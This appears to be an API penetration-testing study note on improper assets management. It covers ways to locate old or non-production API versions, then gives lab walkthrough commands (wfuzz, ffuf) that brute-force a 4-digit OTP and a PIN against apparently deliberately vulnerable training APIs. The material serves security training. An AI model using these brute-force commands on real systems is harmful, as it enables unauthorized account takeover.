Improper Assets Management
Identifying older and/or non-production APIs.
# OLDER VERSIONS
# As a URI
api.target.com/v3
/api/v2/accounts
# As a header
Accept: version=2.0
Accept api-version=3
# As query parameter
/api/accounts?ver=2
# As request body
POST /api/accounts
{
"ver":1.0,
"user":"hapihacker"
}
# NON-PROD VERSIONS
api.test.target.com
api.uat.target.com
beta.api.com
/api/private
/api/partner
/api/testTesting Unauthenticated
Create and select a new environment (Test Env), then find & replace v2 with v1, and rerun the tests.
We can then check for any request differences among the difference tests. For example, the below example, indicates an unsupported (v2) but working API version.
Because the OTP request is just 4 digits, it can be easily brute forced. Therefore, we can test for rate limiting controls.
It appears that the outdated API version does not have any, which we can forward to and brute force with Burp's Intruder.
$ wfuzz -d '{"email":"hapihacker@email.com", "otp":"FUZZ","password":"NewPassword1"}' -H 'Content-Type: application/json' -z file,/usr/share/wordlists/SecLists-master/Fuzzing/4-digits-0000-9999.txt -u http://crapi.apisec.ai/identity/api/auth/v2/check-otp --hc 500
# Assessment
$ ffuf -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt -u http://vapi.apisec.ai/vapi/api9/v1/user/login -ac -ic -c -X POST -d '{"username":"richardbranson", "pin":"FUZZ"}' -H 'Content-Type: application/json'
Testing Authenticated
We can repeat the same process, i.e., reuse the runner with v1 and v2, using a Bearer token.
Last updated